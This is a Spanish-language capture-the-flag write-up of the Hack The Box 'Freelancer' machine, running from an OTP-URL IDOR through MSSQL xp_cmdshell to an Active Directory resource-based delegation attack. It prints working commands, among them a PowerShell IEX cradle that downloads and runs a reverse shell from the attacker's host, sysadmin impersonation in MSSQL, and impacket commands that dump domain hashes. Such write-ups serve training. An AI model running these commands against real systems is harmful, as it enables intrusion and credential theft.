HTB: Freelancer WriteUp 🪟


Freelancer

“Freelancer” es una máquina de dificultad alta diseñada para desafiar a los jugadores con vulnerabilidades comunes en pruebas de penetración del mundo real. Cubre habilidades como la identificación de fallos de lógica empresarial en aplicaciones web, la explotación de vulnerabilidades comunes como IDOR y el bypass de autorización, y ataques de suplantación de SQL. Los jugadores enfrentan escenarios como la exposición de información sensible a través de enumeración de directorios y la construcción manual de consultas SQL. Se introducen técnicas avanzadas, como la ejecución remota de código y forense de memoria en Windows, con un enfoque especial en ataques de Active Directory. Esto incluye la explotación del “Recycle Bin” de AD y el grupo de “Backup Operators”. También se abordan técnicas como el password spraying, cracking de hashes y el bypass de herramientas antivirus, ofreciendo una experiencia integral que pone a prueba técnicas básicas y avanzadas de pruebas de penetración.


Freelancer
Fig 1. Freelancer - HTB

Análisis de Puertos y Enumeración en Freelancer HTB


Iniciamos nuestro análisis realizando un escaneo de puertos con la herramienta Nmap, que nos revela una serie de puertos abiertos. Observamos que varios de ellos son comunes en un entorno de Active Directory, y nos llama la atención la presencia del puerto 80, lo que sugiere que podría haber oportunidades para realizar hacking web. Para guiarnos en esta dirección, consideramos que el Framework OWASP es una excelente referencia.

El comando que utilizamos para escanear todos los puertos de manera rápida, muy popular en la comunidad hispanohablante, es el siguiente:

nmap -p- --open --min-rate 5000 -sS -f -Pn -n [IP] -oG puertos

Esta técnica es altamente efectiva, ya que nos permite realizar un escaneo veloz, ideal para resolver CTFs de forma eficiente.


A continuación, utilizamos Nmap para realizar un escaneo específico en los puertos identificados previamente, con el objetivo de detectar versiones de servicios. Si encontramos un servicio obsoleto, es posible que descubramos alguna vulnerabilidad.

En el puerto 55297, nos topamos con un servidor MSSQL de la versión 2019, lo que puede presentar ciertas oportunidades para la explotación. Además, hemos obtenido el nombre de dominio: freelancer.htb, sugiriendo que podría haber un recurso compartido a nivel de red.

nmap -plista_de_puertos -sS -sCV -f -Pn -n ip -oN objetivos.txt
MSSQL Server

El servidor utiliza SMB versión 2. También observamos que el puerto 80 está habilitado y nos redirige a http://freelancer.htb/.

Es momento de enumerar el servicio SMB, pero lamentablemente no tenemos éxito, ya que no contamos con el usuario guest.

Enumeración SMB

Al acceder a la página web, encontramos que se presenta como “la mejor plataforma para conseguir tu próximo trabajo”, permitiendo que las personas trabajen como freelancers.

Página Principal Freelancer

Para avanzar, emplearé FFUF para realizar un escaneo de subdirectorios y subdominios. En caso de que no obtengamos resultados, será crucial acceder al sitio y buscar información manualmente.

Escaneo con FFUF

Mientras llevamos a cabo el escaneo con FFUF, también debemos interactuar con la página web para ver si encontramos algo de interés. El comando que utilizaremos es el siguiente:

ffuf -u http://freelancer.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

Mientras esperamos las respuestas de FFUF, comenzamos a explorar el sitio para obtener una visión más clara de a qué nos enfrentamos. Notamos que tenemos la opción de registrarnos tanto como freelancer como empresa.

Registro en Freelancer

También existe la posibilidad de suscribirnos a un newsletter.

Suscripción a Newsletter

Mientras tanto, nuestro escaneo de subdirectorios ha revelado varios resultados interesantes.

Subdirectorios Encontrados

Uno de los subdirectorios que destaca es /admin, aunque lamentablemente no hemos obtenido respuesta del servidor al intentar acceder a él.

Acceso a Admin

Decidimos proceder creando una cuenta como freelancer. Si no encontramos información útil, luego intentaremos crear una cuenta como empresa. Para ello, generamos una cuenta con información falsa, dado que se trata de un entorno controlado y no consideramos necesario usar datos reales.

Registro como Freelancer

Al parecer, el escaneo con FFUF provoca que el servidor se caiga, lo que sugiere que no está diseñado para buscar dominios o subdominios. Una vez que creamos nuestra cuenta, nos redirigieron a la página de inicio de sesión, donde ingresamos nuestras credenciales y accedimos al subdirectorio de búsqueda de trabajos, que es bastante similar a HackerOne.

Búsqueda de Trabajo

Al aplicar para un trabajo, se nos presenta una página con información sobre el puesto, el salario, etc. Sin embargo, al observar detenidamente la URL, notamos que se estructura con id=, lo que nos da la oportunidad de probar una técnica de IDOR (Insecure Direct Object Reference).

Detalles del Trabajo
URL con ID

Si cambiamos el ID, el servidor nos redirige a otro trabajo. Voy a empezar a jugar con esto en busca de algo interesante. Sin embargo, hasta ahora no he encontrado nada destacable; todos los trabajos propuestos son similares. A partir de la opción número 13, el recurso no estará disponible.

Propuestas de Trabajo

Después de un tiempo buscando información, no hemos obtenido resultados relevantes. Así que es hora de crear una cuenta como empresa, que es la única de nuestras tres opciones principales que aún no hemos probado.

Al intentar crear una cuenta como empresa, nos encontramos con la siguiente notificación:

Notificación de Registro

Procedemos a crear la cuenta de empresa de la misma manera que lo hicimos al registrarnos como freelancer.

Registro como Empresa

Sin embargo, nos encontramos con un error al intentar completar la creación de la cuenta.

Error en Registro

Parece que ambos tipos de cuentas utilizan la misma base de datos, por lo que decidimos crear una cuenta con un nombre diferente.

Nuevo Intento de Registro

Al intentar iniciar sesión, recibimos el siguiente mensaje de error:

Mensaje de Error al Iniciar Sesión

A pesar de esperar un rato, no obtuve éxito y seguía recibiendo el mismo mensaje. Por lo tanto, decidimos intentar la opción de recuperación de cuenta para ver si podíamos obtener acceso de esa manera.

Opción de Recuperación de Cuenta

Iniciamos el proceso para resetear la contraseña, lo que nos redirige nuevamente a la página de inicio de sesión. Allí ingresamos nuestro nombre de usuario y la nueva contraseña que acabamos de crear.

Ingreso de Nuevas Credenciales

Descubriendo Vulnerabilidades en el Sitio

Mientras navegaba por el sitio, no encontraba ninguna vulnerabilidad o pista que me llamara la atención. Sin embargo, al investigar más a fondo, descubrí una vulnerabilidad de tipo IDOR (Insecure Direct Object Reference) en el código QR. Esta opción era nueva para mí, así que decidí escanear el código y obtuve la siguiente dirección URL:

http://freelancer.htb/accounts/login/otp/MTAwMTE=/2adb754a03a3a8693ef2b04b6f0b39e0/

La URL contiene una cadena en Base64, la cual debemos decodificar. A simple vista, es evidente que la cadena está codificada en Base64, y a su lado hay un hash que podría ser MD5.

URL con Base64

Sin embargo, no estoy seguro de si esta información será útil, así que continúo buscando algún indicio que me llame la atención. Observé que el subdirectorio /blog también presenta un problema de IDOR, así que decidí explorar entre los blogs.

Blogs Disponibles

Al hacer clic en un usuario, descubrí que podía navegar entre diferentes perfiles.

Navegación entre Usuarios

La URL correspondiente era:

http://freelancer.htb/accounts/profile/visit/5/

Al parecer, crista.w es el usuario número 5, y nosotros somos el usuario número 10011, como descubrimos anteriormente.

Perfil del Usuario

Decidí navegar entre los IDs para identificar el ID de nuestro usuario administrador. Lo lógico era probar con números bajos, ya que se supone que el primer usuario en registrarse tendría el identificador 1. Sin embargo, al intentarlo, recibí un error 404: Page Not Found.

Error 404

Al probar con el ID 2, obtuve el identificador del usuario admin.

Perfil del Usuario Admin

Ahora debemos modificar nuestra URL. Para ello, necesitamos codificar el número 2 en Base64, lo cual podemos hacer en nuestra terminal o usando CyberChef.

Codificación en Base64

La URL original era:

http://freelancer.htb/accounts/login/otp/MTAwMTE=/2adb754a03a3a8693ef2b04b6f0b39e0/

Ahora, la modificamos para que contenga el ID de nuestro usuario administrador, cambiando la URL a:

http://freelancer.htb/accounts/login/otp/Mgo=/2adb754a03a3a8693ef2b04b6f0b39e0/

Sin embargo, esto no funcionará porque el código QR es válido solo por 5 minutos. Así que volvemos a escanear el código y obtendremos otro hash MD5, pero el ID se mantiene:

http://freelancer.htb/accounts/login/otp/Mgo=/fa6b20773398ca14da20421f4026c172/

Con esto, logramos acceder como usuario administrador.

Acceso como Administrador

MSSQL Injection

Recordemos que con ffuf encontramos un subdirectorio llamado admin, el cual podría ser útil en este momento.

Subdirectorio Admin

En este punto, tenemos acceso a una terminal SQL.

Terminal SQL

Como nuestra base de datos es de Microsoft SQL Server, es esencial conocer la sintaxis adecuada. El nombre de nuestra base de datos es:

Nombre de la Base de Datos

Estamos dentro de esta base de datos, así que es hora de hacer algunas consultas. Puedes consultar este recurso para más información sobre la sintaxis de SQL Server. Con la ayuda de ChatGPT, comencé a hacer algunas peticiones para encontrar información.

Consultas SQL
SELECT table_name
FROM information_schema.tables
WHERE table_type = 'BASE TABLE';

Es hora de utilizar Métodos de Transferencia de Archivos en Windows. Dado que no tenemos privilegios, es el momento de obtener una reverse shell utilizando IEX. Para ello, necesitamos crear un archivo con la extensión .ps1 para que se ejecute. Podemos pedirle a ChatGPT que genere el script para PowerShell.

Iniciamos un servidor con Python:

Servidor Python

Escuchamos en el puerto que deseamos:

Escucha en el Puerto

Ejecutamos el siguiente código en la base de datos:

Código SQL
EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://tu_ip:puerto/shell.ps1')"';

Recuerda modificar la IP, el puerto y el nombre de tu archivo. Si no funciona, intentamos con iwr o Invoke-WebRequest.

Error en la Solicitud
EXEC xp_cmdshell 'powershell -c "IEX (iwr -usebasicparsing http://10.10.14.11:8000/reverse-powershell.ps1)"';

Sin embargo, encontramos un error. Para habilitar xp_cmdshell, necesitamos ejecutar algunos comandos previos en MSSQL para obtener privilegios en la base de datos.

Aquí hay un desglose de los pasos:

1. Obtener el nombre del propietario de cada base de datos

SELECT suser_sname(owner_sid) FROM sys.databases;
  • sys.databases: Contiene información sobre cada base de datos en el servidor.
  • owner_sid: Identificador de seguridad del propietario de la base de datos.

2. Verificar si el usuario es un sysadmin

EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin');
  • EXECUTE AS LOGIN = 'sa': Cambia el contexto de ejecución al usuario sa.
  • IS_SRVROLEMEMBER('sysadmin'): Verifica si el usuario actual es miembro del rol sysadmin.

3. Conceder privilegios a otro usuario

EXECUTE AS LOGIN = 'sa';
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin';
  • EXEC sp_addsrvrolemember: Agrega al usuario Freelancer_webapp_user al rol sysadmin, otorgándole privilegios administrativos.

4. Confirmar la membresía en el rol sysadmin

SELECT IS_SRVROLEMEMBER('sysadmin');
  • Verifica si Freelancer_webapp_user ahora tiene privilegios de sysadmin.

Habilitar xp_cmdshell

Para habilitar xp_cmdshell, ejecutamos los siguientes comandos:

EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

Finalmente, logramos obtener nuestra reverse shell.

Reverse Shell Obtenida

Enumeración de Usuarios y Verificación de Credenciales

Hemos recopilado información sobre los usuarios del sistema utilizando el comando net users y también al explorar el directorio de usuarios. A continuación, se presentan las imágenes que muestran la enumeración de usuarios:

Usuarios enumerados
Directorio de usuarios

Creé un archivo con todos los usuarios encontrados para llevar un mejor control de la información:

Archivo de usuarios

Ahora es momento de comenzar la enumeración para encontrar más detalles sobre las credenciales disponibles:

Configuración de base de datos

Encontramos una configuración de la base de datos que incluye una posible contraseña. La contraseña sospechosa es IL0v3ErenY3ager. Utilizaremos crackmapexec para verificar si realmente esta contraseña corresponde a alguno de los usuarios enumerados.

crackmapexec smb <ip> -u users -p "IL0v3ErenY3ager"

Después de ejecutar el comando, descubrimos que las credenciales pertenecen al usuario mikasaAckerman:

Credenciales encontradas

Movimiento Lateral

Con las credenciales válidas en mano, el siguiente paso es verificar si podemos ejecutar comandos de forma remota. Intentamos utilizar el módulo smb/psexec de Meterpreter, pero no tuvimos éxito:

Intento de usar Meterpreter

También probamos con WinRM, pero no logramos establecer conexión:

Intento de usar WinRM

Es momento de utilizar Runas para realizar movimiento lateral. Primero, hacemos una copia del archivo que necesitamos:

Copia del archivo

Luego, nos dirigimos a la memoria temporal y comenzamos un servidor SMB con soporte para SMB 2:

Servidor SMB

El usuario tiene el ticket preautenticado, pero cuando intentamos copiar el archivo, no funciona:

Error al copiar el archivo

Dado que el servidor SMB no funcionó, optamos por utilizar certutil, lo que resultó exitoso:

Uso de certutil

A continuación, ejecutamos el siguiente comando para realizar el movimiento lateral, escuchando en el puerto correspondiente:

.\Runas.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.14.11:9001

Sin embargo, no funcionó, así que decidí utilizar RunasCs como alternativa:

Uso de RunasCs
Resultado de RunasCs

Herramienta Forense y Nuevas Habilidades

Transferimos el archivo a nuestra máquina host y lo descomprimimos. Después de varios días intentando extraer la información del archivo MEMORY.DMP, que es un volcado de memoria, logramos entender que este tipo de archivo es una captura del estado de la memoria de un sistema o proceso específico. Generalmente, estos archivos se generan cuando ocurre un error en un programa o sistema operativo.

Tipos Comunes de Archivos .DMP

  1. Volcado de memoria completo (Complete Memory Dump): Captura toda la memoria física del sistema en el momento del fallo, incluyendo tanto la memoria usada como la no utilizada. Estos archivos suelen ser bastante grandes.

  2. Volcado de memoria pequeña (Small Memory Dump): Solo captura información mínima, como los controladores y los módulos de software activos durante el fallo. Estos archivos son más pequeños (normalmente 64 KB).

  3. Volcado de memoria del kernel (Kernel Memory Dump): Captura únicamente la memoria utilizada por el kernel y los controladores del sistema. No incluye la memoria de las aplicaciones en modo de usuario, por lo que es más pequeño que un volcado completo, pero contiene suficiente información para diagnosticar problemas relacionados con el núcleo del sistema.

  4. Volcados de procesos (User-Mode Dump): Se generan cuando un proceso específico falla, capturando solo la memoria utilizada por ese proceso en el momento del fallo.

Para más detalles, este video de Hackavis te da una idea clara de lo que tenemos que realizar: Hackavis Video. Aquí también está el repositorio de la herramienta: Volatility 3 en GitHub.

Repositorio de Volatility

Clonamos el repositorio y accedemos a volatility3. Es probable que tengamos problemas al instalar los requerimientos:

Problemas de instalación

Por lo tanto, creamos un entorno virtual con los siguientes comandos:

python3 -m venv venv
source venv/bin/activate

Ahora podemos instalar las dependencias necesarias:

pip install -r requirements.txt

Es momento de utilizar la herramienta con el siguiente comando:

python vol.py -f ~/Hackthebox/windows/hard/Freelancer/volcado/MEMORY.DMP windows.lsadump | awk '{print $1, $2}'
Uso de la herramienta Volatility

Hemos encontrado lo que parece ser una contraseña: PWN3D#l0rr@Armessa199. Ahora, utilizamos CrackMapExec para determinar a quién pertenecen dichas credenciales:

crackmapexec smb 10.10.11.5 -u users -p 'PWN3D#l0rr@Armessa199'

Y efectivamente, tenemos credenciales totalmente válidas:

Credenciales válidas

Verificamos que el usuario lorra199 pertenezca al grupo de Remote Manage Users:

Verificación del grupo de usuarios

¡Lo hemos conseguido! (Siempre que tengamos Pwn3d! significa que podemos utilizar Evil-WinRM).


Escalación de Privilegios

Acceso como lorra199

Ya tenemos acceso como lorra199, pero el movimiento lateral no creo que termine aquí:

Movimiento lateral

Todavía tenemos al usuario lkazanof, al que aún no hemos tenido acceso. Actualmente, no contamos con ningún privilegio:

Sin privilegios

Antes de utilizar BloodHound-Python, podemos hacer un escaneo manual para ver a qué grupo pertenecemos:

Grupos de usuario

Pertenecemos al grupo AD Recycle Bin. Vamos a utilizar un ataque de Resource-Based Constrained Delegation. Para ello, utilizaremos Impacket.

1. Creación del Objeto de Computadora

Ejecutamos el siguiente comando para crear un nuevo objeto de computadora llamado ANSW3R$ en el dominio:

impacket-addcomputer -computer-name 'ANSW3R$' -computer-pass 'Fuego123@' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'

Explicación: Este comando crea un nuevo objeto de computadora, y la contraseña de la computadora es 'Fuego123@'. Una vez creado, este objeto puede actuar en nombre de otros objetos en el dominio.

Creación de objeto de computadora

2. Delegación de Permisos

Ejecutamos el siguiente comando para otorgar derechos de delegación:

impacket-rbcd -delegate-from 'ANSW3R$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

Explicación: Este comando permite que ATTACKERSYSTEM$ actúe en nombre de otros usuarios en el DC. La salida indica que los derechos de delegación se modificaron exitosamente.

3. Sincronización del Sistema

Detenemos el servicio de sincronización de tiempo y sincronizamos manualmente con el siguiente comando:

systemctl stop systemd-timesyncd
ntpdate -u 10.10.11.5
Sincronización del sistema

4. Obtención del Ticket

Solicitamos un ticket de servicio (S4U) para impersonar al administrador con el siguiente comando:

impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ANSW3R$:Fuego123@'

Este ticket se guarda en Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache, que es un archivo de caché de credenciales Kerberos.

Obtención de ticket

5. Exportar Archivo

Exportamos el archivo de caché con el siguiente comando:

export KRB5CCNAME=Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache
Exportar archivo de caché

6. Uso de Impacket Secretsdump

Utilizamos impacket-secretsdump para obtener los hashes NTLM del DC:

impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm
Uso de impacket-secretsdump

Ahora debemos comprobar si realmente son los hashes NTLM del DC:

Verificación de hashes NTLM

Parece que sí:

Hashes verificados

Hemos conseguido la bandera de root, pero no del usuario. ¡Jajajaja! Me acabo de dar cuenta de que la bandera del usuario la tenía el usuario mikasaAckerman:

Bandera del usuario

Y eso sería todo.